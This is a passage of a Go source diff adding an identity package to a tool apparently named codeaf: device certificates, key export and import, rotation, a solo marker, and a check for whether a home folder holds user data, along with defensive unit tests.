Import([]byte(`{"V":1,"kdf":"argon2id","t":1,"m_kib":4294967295,"p":1}`), "x"); err == nil { + t.Fatal("accepted absurd key stretching") + } +} + +func TestAdoptRefusesADifferentIdentityWithoutReplace(t *testing.T) { + home := t.TempDir() + mine, _ := Ensure(home) + if _, err := Adopt(home, sample(), false); !errors.Is(err, ErrDifferent) { + t.Fatalf("overwrote a different identity: %v", err) + } + if again, _ := Load(home); again.ID() != mine.ID() { + t.Fatal("identity changed despite refusal") + } + if replaced, err := Adopt(home, mine, false); err != nil || replaced { + t.Fatalf("re-adopting the same identity: %v %v", replaced, err) + } + if replaced, err := Adopt(home, sample(), true); err != nil || !replaced { + t.Fatalf("replace: %v %v", replaced, err) + } +} + +func TestGoldenDeviceCert(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", "device.golden.json"), Cert{V: 1, + Device: "00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff", + Made: 1759049990000, Sig: "cafe"}) +} + +func TestTwoMachinesShareIdentityNotDevice(t *testing.T) { + a, b := t.TempDir(), t.TempDir() + first, _ := Ensure(a) + blob, _ := Export(first, "pw") + root, _ := Import(blob, "pw") + if _, err := Adopt(b, root, false); err != nil { + t.Fatal(err) + } + da, err1 := Device(a) + db, err2 := Device(b) + if err1 != nil || err2 != nil { + t.Fatal(err1, err2) + } + if got, _ := Load(b); got.ID() != first.ID() { + t.Fatal("identity ids differ") + } + if da.ID() == db.ID() || len(da.ID()) != 36 { + t.Fatalf("device ids: %s %s", da.ID(), db.ID()) + } + if again, _ := Device(a); again.ID() != da.ID() { + t.Fatal("device is not stable") + } + if err := db.Cert.Verify(first.PublicKey()); err != nil { + t.Fatalf("B's cert under the shared root: %v", err) + } + msg := []byte("lease") + pub, _ := hex.DecodeString(db.Cert.Device) + if !ed25519.Verify(pub, msg, db.Sign(msg)) { + t.Fatal("device signature does not verify") + } + if blobHasDevice := strings.Contains(string(blob), "device"); blobHasDevice { + t.Fatal("export carries device material") + } +} + +func TestCertVerifiesOnlyUnderItsIdentityAndUntampered(t *testing.T) { + home := t.TempDir() + d, _ := Device(home) + root, _ := Load(home) + if err := d.Cert.Verify(root.PublicKey()); err != nil { + t.Fatal(err) + } + if err := d.Cert.Verify(sample().PublicKey()); err == nil { + t.Fatal("cert verified under a different identity") + } + tampered := d.Cert + tampered.Made++ + if err := tampered.Verify(root.PublicKey()); err == nil { + t.Fatal("tampered cert verified") + } +} + +func TestReplacingTheIdentityRenewsTheDevice(t *testing.T) { + home := t.TempDir() + old, _ := Device(home) + if _, err := Adopt(home, sample(), true); err != nil { + t.Fatal(err) + } + now, _ := Device(home) + if now.ID() == old.ID() || now.Cert.Verify(sample().PublicKey()) != nil { + t.Fatal("device did not follow the new identity") + } +} + +// A home holding only an unmigrated vault.key: importing another identity is +// refused, and the key survives as the identity's cell key. +func TestAdoptRefusesOverAnUnmigratedVaultKey(t *testing.T) { + home := t.TempDir() + k := sample().cell + os.WriteFile(filepath.Join(home, "vault.key"), []byte(hex.EncodeToString(k[:])), 0o600) + if _, err := Adopt(home, sample(), false); !errors.Is(err, ErrDifferent) { + t.Fatalf("want ErrDifferent, got %v", err) + } + if kept, _ := Load(home); kept.CellKeyID() != sample().CellKeyID() { + t.Fatal("vault key was not adopted as the cell key") + } +} + +func TestPristine(t *testing.T) { + home := t.TempDir() + if ok, err := Pristine(home); !ok || err != nil { + t.Fatalf("an empty home is pristine, got %v %v", ok, err) + } + if _, err := Ensure(home); err != nil { + t.Fatal(err) + } + if ok, _ := Pristine(home); !ok { + t.Fatal("a home with only its keys is pristine") + } + if err := os.WriteFile(filepath.Join(home, "vault.enc"), []byte("x"), 0o600); err != nil { + t.Fatal(err) + } + if ok, _ := Pristine(home); ok { + t.Fatal("a home with a vault is used") + } +} diff --git a/internal/identity/issue.go b/internal/identity/issue.go new file mode 100644 index 0000000000..ca5d2d07f7 --- /dev/null +++ b/internal/identity/issue.go @@ -0,0 +1,40 @@ +package identity + +import ( + "crypto/ed25519" + "encoding/hex" + "errors" + "time" +) + +// Seed is a device's secret key before any identity has certified it. A device +// that asks to join an identity makes a Seed, shows its public half, and becomes +// a Dev when an already-joined device sends back the certificate. +type Seed struct{ seed key } + +// NewSeed makes a fresh device secret. +func NewSeed() (Seed, error) { + k, err := randomKey() + return Seed{seed: k}, err +} + +// Public is the device's public key, the one a certificate names. +func (s Seed) Public() ed25519.PublicKey { + return ed25519.NewKeyFromSeed(s.seed[:]).Public().(ed25519.PublicKey) +} + +// Join turns the seed into a device under cert, which must name this seed's key. +func (s Seed) Join(cert Cert) (Dev, error) { + if cert.Device != hex.EncodeToString(s.Public()) { + return Dev{}, errors.New("identity: the certificate is for another device") + } + return Dev{Cert: cert, seed: s.seed}, nil +} + +// IssueCert signs a certificate for the device with public key pub, made at now. +// It is how a device that is already joined lets another one in. +func IssueCert(id Identity, pub ed25519.PublicKey, now time.Time) Cert { + cert := Cert{V: version, Device: hex.EncodeToString(pub), Made: now.UnixMilli()} + cert.Sig = hex.EncodeToString(id.Sign(cert.body())) + return cert +} diff --git a/internal/identity/predecessors.go b/internal/identity/predecessors.go new file mode 100644 index 0000000000..1e7c259c24 --- /dev/null +++ b/internal/identity/predecessors.go @@ -0,0 +1,60 @@ +package identity + +import ( + "errors" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "os" + "path/filepath" + "regexp" + "slices" + "strings" +) + +// predecessorsFile lists, one id per line, the identities this one replaced by +// rotation, oldest first. A device that is paired later shows it to a computer +// still on an old identity, which is how that computer knows it may follow. +const predecessorsFile = "predecessors" + +// MaxPredecessors bounds the list: a person who rotates more often than this +// has no computer still on the oldest ones. +const MaxPredecessors = 8 + +var idShape = regexp.MustCompile(`^id_[0-9a-f]{32}$`) + +// ValidID says whether s has the shape of an identity id. +func ValidID(s string) bool { return idShape.MatchString(s) } + +// Predecessors answers the identities the one under home replaced, or none. +func Predecessors(home string) []string { + raw, err := os.ReadFile(filepath.Join(home, predecessorsFile)) + if err != nil { + return nil + } + var ids []string + for _, line := range strings.Fields(string(raw)) { + if ValidID(line) { + ids = append(ids, line) + } + } + return ids +} + +// RecordPredecessor adds id to the list, once, keeping the newest +// MaxPredecessors. Repeating it changes nothing, so a crashed rotation can +// call it again. +func RecordPredecessor(home, id string) error { + if !ValidID(id) { + return errors.New("identity: not an identity id") + } + ids := Predecessors(home) + if slices.Contains(ids, id) { + return nil + } + ids = append(ids, id) + ids = ids[max(0, len(ids)-MaxPredecessors):] + tmp, err := privateTemp(home, []byte(strings.Join(ids, "\n")+"\n")) + if err != nil { + return err + } + return fsreplace.Rename(tmp, filepath.Join(home, predecessorsFile)) +} diff --git a/internal/identity/pristine.go b/internal/identity/pristine.go new file mode 100644 index 0000000000..14c3ff7411 --- /dev/null +++ b/internal/identity/pristine.go @@ -0,0 +1,63 @@ +package identity + +import ( + "errors" + "io/fs" + "os" +) + +// Pristine says whether the home holds nothing but what starting codeaf makes: +// no chats, no workspaces, no synced cells and no secrets. Such a computer can +// join another identity without losing anything. When in doubt it answers no: +// an entry that [started] does not name counts as use. +func Pristine(home string) (bool, error) { + // K3: only a missing HOME is pristine. On Windows a file where a folder + // belongs can also report path-not-found; that nested error must keep data. + if _, err := os.Stat(home); errors.Is(err, fs.ErrNotExist) { + return true, nil + } else if err != nil { + return false, err + } + used, err := started(home) + return !used && err == nil, err +} + +// started is the whole of what starting codeaf leaves in a home, read off a real +// run: it is the one place that says which files are made again on demand and +// which are the person's. Each name is a glob on one entry, and each entry +// carries its own judge, so a file that is sometimes made by a start and +// sometimes by use (a chat's transcript, the memory graph) is judged by what it +// holds rather than by its name. +var started = within(rules{ + File: never, DeviceFile: never, legacyKeyFile: never, soloFile: never, + "config.json": never, "config.json.lock": never, "notices.json": never, + "catalog.json": never, "model-catalog.json": never, "model-quirks.json": never, + "credits.json": never, "logs": never, "bin": never, "cache": never, + "chat.log": empty, "cas": empty, + "graph.db": bareGraph, "graph.db-wal": never, "graph.db-shm": never, + "pool": within(rules{ + "doc.json": never, "doc.sig": never, "install": never, + "meta.json": never, "sweep-last.json": never, "outbox.jsonl": empty, + }), + "telemetry": within(rules{"first_run": never, "install_id": never, "notice_seen": never}), + "v3": within(rules{ + "history.jsonl": onlyCommands, "models.json": never, "lanes.json": never, "lanes.json.lock": never, + "lanes.log": never, "lanes": never, // provider facts fetched from the model catalogue, fetched again on demand + "draft-*.json": untypedDraft, "hosts": never, "standing": never, + "stores": within(rules{ + "sweep.stamp": never, + "*": within(rules{"budget.json": never, "budget.lock": never}), + }), + "projects": within(rules{"*": within(rules{"*": withinSession})}), + }), +}) + +// withinSession is one chat folder: its bookkeeping is made again on demand and +// its transcript and memories are the chat itself. +var withinSession = within(rules{ + "meta.json": never, "presence.json": never, + ".cell": within(rules{ + "meta.json": never, "session.json": never, "env": empty, + "memories.jsonl": empty, "transcript.jsonl": noTurns, + }), +}) diff --git a/internal/identity/pristine_judges.go b/internal/identity/pristine_judges.go new file mode 100644 index 0000000000..e67613837c --- /dev/null +++ b/internal/identity/pristine_judges.go @@ -0,0 +1,240 @@ +package identity + +import ( + "bufio" + "bytes" + "database/sql" + "encoding/json" + "github.com/Agent-Field/codeaf/internal/sqliteuri" + "io" + "os" + "path/filepath" + "strings" + + _ "modernc.org/sqlite" // reads the memory graph, which is a SQLite file +) + +// A judge says whether one entry of a home, a file or a folder, holds anything +// the person made. A judge that cannot tell answers with its error, and the +// caller treats that as use. +type judge func(path string) (used bool, err error) + +// rules names the judge of each entry of a folder, by glob. +type rules map[string]judge + +// within judges a folder by its entries: each must match a glob in the rules and +// be no use. An entry that no glob names is use, so an unknown file stays safe. +func within(r rules) judge { + return func(path string) (bool, error) { + entries, err := os.ReadDir(path) + if err != nil { + return true, err + } + for _, e := range entries { + if used, err := r.of(e.Name())(filepath.Join(path, e.Name())); used || err != nil { + return true, err + } + } + return false, nil + } +} + +// of is the judge that owns one name, or the judge of an unknown name. +func (r rules) of(name string) judge { + for glob, j := range r { + if ok, _ := filepath.Match(glob, name); ok { + return j + } + } + return unknown +} + +// never is for what a start makes again on demand: keys, caches, locks, logs. +func never(string) (bool, error) { return false, nil } + +// unknown is the judge of a name nobody declared, and it is always use. +func unknown(string) (bool, error) { return true, nil } + +// empty is for what holds the person's words and bytes when it holds any: a +// file with no bytes, or a folder of such files. +func empty(path string) (bool, error) { + info, err := os.Stat(path) + if err != nil || !info.IsDir() { + return err != nil || info.Size() > 0, err + } + return emptyTree(path) +} + +func emptyTree(dir string) (bool, error) { + entries, err := os.ReadDir(dir) + if err != nil { + return true, err + } + for _, e := range entries { + if used, err := empty(filepath.Join(dir, e.Name())); used || err != nil { + return true, err + } + } + return err != nil, err +} + +// noTurns is for a chat's transcript. A start writes the header line that +// names the session; any other line is something said in the chat. +func noTurns(path string) (bool, error) { + raw, err := os.ReadFile(path) + if err != nil { + return true, err + } + sc := bufio.NewScanner(bytes.NewReader(raw)) + sc.Buffer(nil, len(raw)+1) + for sc.Scan() { + if line := bytes.TrimSpace(sc.Bytes()); len(line) > 0 && !isHeader(line) { + return true, nil + } + } + return false, sc.Err() +} + +func isHeader(line []byte) bool { + var row struct{ Type string } + return json.Unmarshal(line, &row) == nil && row.Type == "session" +} + +// untypedDraft is for a composer's saved record. It names its owner and keeps a +// slot for each recipient, and a slot is only the person's once it holds words, +// a paste, an attachment or a sent line; an emptied slot is a tombstone. +func untypedDraft(path string) (bool, error) { + raw, err := os.ReadFile(path) + if err != nil { + return true, err + } + var rec struct { + Slots []struct { + Text string + Pastes, Chips, Sends []json.RawMessage + } + } + if err := json.Unmarshal(raw, &rec); err != nil { + return true, nil + } + for _, slot := range rec.Slots { + if slot.Text != "" || len(slot.Pastes)+len(slot.Chips)+len(slot.Sends) > 0 { + return true, nil + } + } + return false, nil +} + +// onlyCommands is for the recall history. A line starting with a slash is a +// command said to codeaf (such as the /quit of a person leaving), not work; any +// other line is a request the person made. +func onlyCommands(path string) (bool, error) { + raw, err := os.ReadFile(path) + if err != nil { + return true, err + } + sc := bufio.NewScanner(bytes.NewReader(raw)) + sc.Buffer(nil, len(raw)+1) + for sc.Scan() { + var entry struct{ Text string } + if line := bytes.TrimSpace(sc.Bytes()); len(line) > 0 && + (json.Unmarshal(line, &entry) != nil || !strings.HasPrefix(entry.Text, "/")) { + return true, nil + } + } + return false, sc.Err() +} + +// graphRoot is the one node a start puts in the memory graph. +const graphRoot = "root" + +// bareGraph is for the memory graph. A start seeds its root node and its +// inferred skill facts and logs events about them; every other table (sessions, +// messages, memories, charters, ...), node and fact is work the person did. It +// is opened read-only so judging a home never changes it. +func bareGraph(path string) (bool, error) { + if sound, err := soundDatabase(path); !sound || err != nil { + return true, err + } + // K3: this is a filesystem path, including a Windows drive or literal %/#. + uri, err := sqliteuri.FromPath(path) + if err != nil { + return true, err + } + uri.RawQuery = "mode=ro" + db, err := sql.Open("sqlite", uri.String()) + if err != nil { + return true, err + } + defer db.Close() + tables, err := graphTables(db) + if err != nil { + return true, err + } + for _, table := range tables { + if used, err := holdsWork(db, table); used || err != nil { + return true, err + } + } + return false, nil +} + +// sqliteMagic opens every SQLite file. The driver reads a file shorter than its +// header as an empty database, which would call a stray byte "nothing", so the +// header is checked first and a file that is not one is use. +const sqliteMagic = "SQLite format 3\x00" + +func soundDatabase(path string) (bool, error) { + f, err := os.Open(path) + if err != nil { + return false, err + } + defer f.Close() + head := make([]byte, len(sqliteMagic)) + n, err := io.ReadFull(f, head) + if n == 0 { + return true, nil // a file with no bytes is an empty database + } + return err == nil && string(head) == sqliteMagic, nil +} + +// graphTables lists the tables that hold rows of their own. Full-text indexes +// are skipped because they only echo the tables they index, and the event log +// because it is written by a start and says nothing about use. +func graphTables(db *sql.DB) ([]string, error) { + rows, err := db.Query(`SELECT name FROM sqlite_master WHERE type = 'table' + AND name NOT LIKE '%\_fts%' ESCAPE '\' AND name NOT LIKE 'sqlite\_%' ESCAPE '\' AND name <> 'events'`) + if err != nil { + return nil, err + } + defer rows.Close() + var names []string + for rows.Next() { + var name string + if err := rows.Scan(&name); err != nil { + return nil, err + } + names = append(names, name) + } + return names, rows.Err() +} + +// workRows names, per table, the rows that are the person's: what is left once +// what a start writes itself is taken out. A start seeds the root node and one +// inferred skill fact for each skill installed on the computer (read from the +// disk again at every start). A table not named here is all work. +var workRows = map[string]string{ + "nodes": "id <> '" + graphRoot + "'", + "facts": "NOT (kind = 'skill' AND channel = 'inferred')", +} + +// holdsWork says whether a table has a row that is the person's work. +func holdsWork(db *sql.DB, table string) (bool, error) { + query := `SELECT count(*) FROM "` + table + `"` + if only, ok := workRows[table]; ok { + query += " WHERE " + only + } + var n int + err := db.QueryRow(query).Scan(&n) + return n > 0, err +} diff --git a/internal/identity/pristine_started_test.go b/internal/identity/pristine_started_test.go new file mode 100644 index 0000000000..c2fd538a09 --- /dev/null +++ b/internal/identity/pristine_started_test.go @@ -0,0 +1,148 @@ +package identity + +import ( + "database/sql" + "os" + "path/filepath" + "strings" + "testing" + + _ "modernc.org/sqlite" // the memory graph the started home holds +) + +const ( + sessionDir = "v3/projects/-work-notes/01SESSION" + cellDir = sessionDir + "/.cell" +) + +// startedFiles is the layout a fresh install leaves after the person ran +// codeaf, looked at the start screen and quit (read off a real run): files that +// are made again on demand, and one chat that has a header line and no turn. +var startedFiles = map[string]string{ + File: "{}", DeviceFile: "{}", "identity-solo": "", "config.json": "{}", + "notices.json": "{}", "model-catalog.json": "{}", "chat.log": "", "credits.json": "{}", + "bin/furrow": "x", "cas/.keep-dir": "", "logs/run.log": "x", + "pool/doc.json": "{}", "pool/outbox.jsonl": "", "pool/meta.json": "{}", + "telemetry/install_id": "x", "telemetry/first_run": "x", + "graph.db-wal": "x", "graph.db-shm": "x", + "v3/history.jsonl": `{"text":"/quit","cwd":"/w","ts":"2026-01-01T00:00:00Z"}` + "\n", + "v3/models.json": "{}", "v3/lanes.json": "{}", "v3/lanes.json.lock": "", "v3/lanes.log": "{}\n", + "v3/lanes/deepseek%2Fdeepseek-v4.1-flash.json": "{}", + "v3/draft-ab-0-12.json": `{"version":1,"owner":"o","slots":[{"owner":"o","caret":0}]}`, + "v3/hosts/ab/host.sock": "", + "v3/hosts/ab/host.log": "", + "v3/standing/tick.lock": "", + "v3/stores/sweep.stamp": "", + "v3/stores/01SESSION/budget.json": "{}", + "v3/stores/01SESSION/budget.lock": "", + sessionDir + "/meta.json": "{}", + sessionDir + "/presence.json": "{}", + cellDir + "/meta.json": "{}", + cellDir + "/session.json": "{}", + cellDir + "/env/.keep-dir": "", + cellDir + "/memories.jsonl": "", + cellDir + "/transcript.jsonl": `{"type":"session","version":1,"id":"01SESSION"}` + "\n", +} + +// startedHome lays the started files out, then applies the change a test makes. +func startedHome(t *testing.T, change func(home string)) string { + t.Helper() + home := t.TempDir() + for name, body := range startedFiles { + path := filepath.Join(home, name) + if strings.HasSuffix(name, ".keep-dir") { + path = filepath.Dir(path) + if err := os.MkdirAll(path, 0o700); err != nil { + t.Fatal(err) + } + continue + } + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + } + makeGraph(t, home, nil) + if change != nil { + change(home) + } + return home +} + +// makeGraph writes the memory graph the way a start leaves it: the root node +// and one event, plus whatever rows a test adds. +func makeGraph(t *testing.T, home string, extra []string) { + t.Helper() + db, err := sql.Open("sqlite", filepath.Join(home, "graph.db")) + if err != nil { + t.Fatal(err) + } + defer db.Close() + for _, q := range append([]string{ + `CREATE TABLE IF NOT EXISTS nodes (id TEXT)`, `CREATE TABLE IF NOT EXISTS events (id TEXT)`, + `CREATE TABLE IF NOT EXISTS messages (id TEXT)`, `CREATE TABLE IF NOT EXISTS memories (id TEXT)`, + `CREATE TABLE IF NOT EXISTS facts (kind TEXT, channel TEXT)`, + `INSERT INTO nodes VALUES ('root')`, `INSERT INTO events VALUES ('boot')`, + `INSERT INTO facts VALUES ('skill', 'inferred')`, // one per skill installed on the computer, read again at every start + }, extra...) { + if _, err := db.Exec(q); err != nil { + t.Fatal(err) + } + } +} + +func put(t *testing.T, path, body string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } +} + +// A computer that was only started holds nothing to lose. +func TestPristineAfterOnlyStarting(t *testing.T) { + home := startedHome(t, nil) + ok, err := Pristine(home) + if err != nil || !ok { + t.Fatalf("a home that was only started is pristine, got %v %v", ok, err) + } +} + +// Anything the person made keeps the home from being pristine, however little +// else changed. When in doubt the answer stays no. +func TestPristineRefusesEveryKindOfUse(t *testing.T) { + cases := map[string]func(home string){ + "a chat turn": func(h string) { + put(t, filepath.Join(h, cellDir, "transcript.jsonl"), + startedFiles[cellDir+"/transcript.jsonl"]+`{"type":"message","role":"user"}`+"\n") + }, + "a memory": func(h string) { put(t, filepath.Join(h, cellDir, "memories.jsonl"), `{"m":1}`) }, + "a typed draft": func(h string) { + put(t, filepath.Join(h, "v3/draft-ab-0-12.json"), `{"version":1,"slots":[{"text":"hi"}]}`) + }, + "a typed request": func(h string) { + put(t, filepath.Join(h, "v3/history.jsonl"), `{"text":"/quit"}`+"\n"+`{"text":"fix the bug"}`+"\n") + }, + "a stored blob": func(h string) { put(t, filepath.Join(h, "cas/ab/blob"), "x") }, + "a synced cell": func(h string) { put(t, filepath.Join(h, "v3/stores/01SESSION/store-v1/packs/p"), "x") }, + "a task history": func(h string) { put(t, filepath.Join(h, "v3/projects/-work-notes/tasks.jsonl"), "{}") }, + "a secret": func(h string) { put(t, filepath.Join(h, "provider-keys.enc"), "x") }, + "an unknown file": func(h string) { put(t, filepath.Join(h, "v3/notes.txt"), "x") }, + "a stored message": func(h string) { makeGraph(t, h, []string{`INSERT INTO messages VALUES ('m')`}) }, + "a second node": func(h string) { makeGraph(t, h, []string{`INSERT INTO nodes VALUES ('task')`}) }, + "a remembered fact": func(h string) { makeGraph(t, h, []string{`INSERT INTO facts VALUES ('preference', 'stated')`}) }, + "a stray byte for a graph": func(h string) { put(t, filepath.Join(h, "graph.db"), "x") }, + "a broken graph": func(h string) { put(t, filepath.Join(h, "graph.db"), "not a database") }, + } + for name, change := range cases { + t.Run(name, func(t *testing.T) { + if ok, _ := Pristine(startedHome(t, change)); ok { + t.Fatalf("a home holding %s is used", name) + } + }) + } +} diff --git a/internal/identity/pristine_test.go b/internal/identity/pristine_test.go new file mode 100644 index 0000000000..d980fafe36 --- /dev/null +++ b/internal/identity/pristine_test.go @@ -0,0 +1,51 @@ +package identity + +import ( + "database/sql" + "github.com/Agent-Field/codeaf/internal/sqliteuri" + "os" + "path/filepath" + "testing" +) + +// TestK3AFileWhereTheChatDirectoryBelongsIsUse proves K3: a non-directory +// named v3 is never disposable first-start state, including when Windows +// reports its listing failure as path-not-found. +func TestK3AFileWhereTheChatDirectoryBelongsIsUse(t *testing.T) { + home := t.TempDir() + if err := os.WriteFile(filepath.Join(home, "v3"), []byte("keep my bytes"), 0600); err != nil { + t.Fatal(err) + } + if fresh, err := Pristine(home); fresh { + t.Fatalf("K3 existing bytes were called pristine: %v", err) + } +} + +// TestK3BareGraphUsesItsLiteralNativePath proves K3: a startup-only graph is +// still unused when its Windows profile or Unix home has URI metacharacters. +// Calling the pairing preflight must not mistake a URI parsing error for work. +func TestK3BareGraphUsesItsLiteralNativePath(t *testing.T) { + home := filepath.Join(t.TempDir(), "home %20 #") + if err := os.MkdirAll(home, 0700); err != nil { + t.Fatal(err) + } + path := filepath.Join(home, "graph.db") + uri, err := sqliteuri.FromPath(path) + if err != nil { + t.Fatal(err) + } + db, err := sql.Open("sqlite", uri.String()) + if err != nil { + t.Fatal(err) + } + if _, err := db.Exec(`CREATE TABLE nodes(id TEXT);INSERT INTO nodes VALUES ('root');CREATE TABLE facts(kind TEXT,channel TEXT)`); err != nil { + db.Close() + t.Fatal(err) + } + if err := db.Close(); err != nil { + t.Fatal(err) + } + if fresh, err := Pristine(home); !fresh || err != nil { + t.Fatalf("K3 untouched graph called used: fresh=%v err=%v", fresh, err) + } +} diff --git a/internal/identity/rotation.go b/internal/identity/rotation.go new file mode 100644 index 0000000000..c90140a941 --- /dev/null +++ b/internal/identity/rotation.go @@ -0,0 +1,51 @@ +package identity + +import ( + "encoding/json" + "errors" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "path/filepath" +) + +// Mint makes an identity whose three secrets are all new: a new signing seed +// (so a new id), a new dedup secret and a new cell key. It never reads the +// home, so a legacy vault key cannot leak into it as ensureRoot's does. It is +// what a rotation replaces an identity with. +func Mint() (Identity, error) { + cell, err := randomKey() + if err != nil { + return Identity{}, err + } + return generate(cell) +} + +// NewDevice makes a device under id without writing it, for a caller that must +// register the device before it becomes this machine's own. +func NewDevice(id Identity) (Dev, error) { return newDevice(id) } + +// Install makes id the identity under home and dev its device. Both writes are +// atomic and repeating the call changes nothing, so a caller that crashed +// between them calls it again. +func Install(home string, id Identity, dev Dev) error { + if dev.Cert.Verify(id.PublicKey()) != nil { + return errors.New("identity: the device was not made under this identity") + } + if err := Save(home, id); err != nil { + return err + } + return write(filepath.Join(home, DeviceFile), dev.document(), fsreplace.Rename) +} + +// Marshal is the device as one document in memory, for a journal that must +// keep it across a crash. It holds the device's private key. +func (d Dev) Marshal() ([]byte, error) { return json.Marshal(d.document()) } + +// UnmarshalDev reads a document Dev.Marshal made. +func UnmarshalDev(raw []byte) (Dev, error) { + var doc deviceDocument + if err := json.Unmarshal(raw, &doc); err != nil { + return Dev{}, err + } + d := Dev{Cert: doc.Cert} + return d, decodeKey(doc.Seed, &d.seed) +} diff --git a/internal/identity/rotation_test.go b/internal/identity/rotation_test.go new file mode 100644 index 0000000000..b5279d9892 --- /dev/null +++ b/internal/identity/rotation_test.go @@ -0,0 +1,79 @@ +package identity + +import "testing" + +// A minted identity shares no secret and no id with another, and it is never +// built from a vault key lying in a home. +func TestMintIsAllNew(t *testing.T) { + a, err := Mint() + if err != nil { + t.Fatal(err) + } + b, _ := Mint() + if a.ID() == b.ID() || a.CellKeyID() == b.CellKeyID() || string(a.DedupSecret()) == string(b.DedupSecret()) { + t.Fatal("two minted identities share a secret") + } +} + +// Install makes the identity and its device the machine's, repeatably, and +// refuses a device that another identity certified. +func TestInstallIsRepeatableAndChecksTheCert(t *testing.T) { + home := t.TempDir() + id, _ := Mint() + dev, err := NewDevice(id) + if err != nil { + t.Fatal(err) + } + for range 2 { + if err := Install(home, id, dev); err != nil { + t.Fatal(err) + } + } + got, err := Device(home) + if err != nil || got.ID() != dev.ID() { + t.Fatalf("device after install = %v, %v", got.ID(), err) + } + other, _ := Mint() + if err := Install(t.TempDir(), other, dev); err == nil { + t.Fatal("installed a device another identity certified") + } +} + +// A device survives a journal: marshalled and read back it signs the same. +func TestDeviceMarshalRoundTrip(t *testing.T) { + id, _ := Mint() + dev, _ := NewDevice(id) + raw, err := dev.Marshal() + if err != nil { + t.Fatal(err) + } + back, err := UnmarshalDev(raw) + if err != nil { + t.Fatal(err) + } + if back.ID() != dev.ID() || string(back.Sign([]byte("m"))) != string(dev.Sign([]byte("m"))) { + t.Fatal("the device changed in the journal") + } +} + +// The list of replaced identities keeps order, takes each once and is bounded. +func TestPredecessorsAreRecordedOnceAndBounded(t *testing.T) { + home := t.TempDir() + var made []string + for range MaxPredecessors + 2 { + id, _ := Mint() + made = append(made, id.ID()) + for range 2 { + if err := RecordPredecessor(home, id.ID()); err != nil { + t.Fatal(err) + } + } + } + got := Predecessors(home) + if len(got) != MaxPredecessors || got[0] != made[2] || got[len(got)-1] != made[len(made)-1] { + t.Fatalf("predecessors = %v", got) + } + if RecordPredecessor(home, "../etc") == nil { + t.Fatal("recorded something that is not an identity id") + } +} diff --git a/internal/identity/solo.go b/internal/identity/solo.go new file mode 100644 index 0000000000..0c28974a46 --- /dev/null +++ b/internal/identity/solo.go @@ -0,0 +1,41 @@ +package identity + +// AN IDENTITY MADE ON THIS COMPUTER AND NEVER SHARED IS SOLO. It is a fleet of +// one, so nothing about it is the sync service's business: a marker beside the +// identity says so, and everything that talks to the service reads it. The +// marker ends the moment the identity is shared or taken ([EndSolo]): this +// computer took another's identity, showed a code to let one in, or approved +// one. Reading pairing instructions does not share an identity. +// +// An identity that has no marker is not solo: it is every identity that was +// made before the marker existed, and it keeps syncing as it did. + +import ( + "errors" + "io/fs" + "os" + "path/filepath" +) + +const soloFile = "identity-solo" + +// Solo says the identity under home was made here and has not been shared. +func Solo(home string) bool { + _, err := os.Stat(filepath.Join(home, soloFile)) + return err == nil +} + +// markSolo is written before the identity, so a crash between the two leaves a +// marker and no identity, which asks nothing of anyone. +func markSolo(home string) error { + return os.WriteFile(filepath.Join(home, soloFile), nil, 0o600) +} + +// EndSolo says the identity is shared now. Ending what is not begun is no error. +func EndSolo(home string) error { + err := os.Remove(filepath.Join(home, soloFile)) + if errors.Is(err, fs.ErrNotExist) { + return nil + } + return err +} diff --git a/internal/identity/store.go b/internal/identity/store.go new file mode 100644 index 0000000000..ea80cb86b9 --- /dev/null +++ b/internal/identity/store.go @@ -0,0 +1,154 @@ +package identity + +import ( + "encoding/json" + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "io/fs" + "os" + "path/filepath" + "strings" +) + +const ( + // File is the persisted identity under the codeaf home. + File = "identity.json" + // legacyKeyFile held the vault key before identities existed. + legacyKeyFile = "vault.key" +) + +// ErrNone reports that no identity exists under the home yet. +var ErrNone = errors.New("identity: none on this machine") + +func path(home string) string { return filepath.Join(home, File) } + +// Load reads the identity under home, or ErrNone. +func Load(home string) (Identity, error) { + raw, err := os.ReadFile(path(home)) + if errors.Is(err, fs.ErrNotExist) { + return Identity{}, ErrNone + } + if err != nil { + return Identity{}, err + } + var d document + if err := json.Unmarshal(raw, &d); err != nil { + return Identity{}, fmt.Errorf("identity: corrupt %s: %w", File, err) + } + return fromDocument(d) +} + +// Ensure returns the identity under home, and makes this machine's device +// (device.go) beside it, creating either on first use. +func Ensure(home string) (Identity, error) { + id, err := ensureRoot(home) + if err != nil { + return Identity{}, err + } + _, err = deviceFor(home, id) + return id, err +} + +// EnsureSolo is Ensure for a computer that needs an identity for itself (a +// vault key, a first launch) and has not been asked to share it: an identity +// it makes is solo (solo.go). One that already exists is left as it is. +func EnsureSolo(home string) (Identity, error) { + if _, err := Load(home); errors.Is(err, ErrNone) { + if err := os.MkdirAll(home, 0o700); err != nil { + return Identity{}, err + } + if err := markSolo(home); err != nil { + return Identity{}, err + } + } + return Ensure(home) +} + +// ensureRoot returns the root identity, creating it on first use. A machine +// that already has a vault.key keeps it as the cell key, so its vault still +// opens. Two processes racing to create agree on whichever wrote first. +func ensureRoot(home string) (Identity, error) { + if id, err := Load(home); !errors.Is(err, ErrNone) { + return id, err + } + if err := os.MkdirAll(home, 0o700); err != nil { + return Identity{}, err + } + cell, err := inheritedCellKey(home) + if err != nil { + return Identity{}, err + } + fresh, err := generate(cell) + if err != nil { + return Identity{}, err + } + err = write(path(home), fresh.document(), os.Link) + if errors.Is(err, fs.ErrExist) { + return Load(home) + } + return fresh, err +} + +// Save replaces the identity under home. +func Save(home string, id Identity) error { + if err := os.MkdirAll(home, 0o700); err != nil { + return err + } + return write(path(home), id.document(), fsreplace.Rename) +} + +func hasLegacyKey(home string) bool { + _, err := os.Stat(filepath.Join(home, legacyKeyFile)) + return err == nil +} + +// inheritedCellKey is the old vault key when there is one, else a new key. +func inheritedCellKey(home string) (key, error) { + raw, err := os.ReadFile(filepath.Join(home, legacyKeyFile)) + if errors.Is(err, fs.ErrNotExist) { + return randomKey() + } + if err != nil 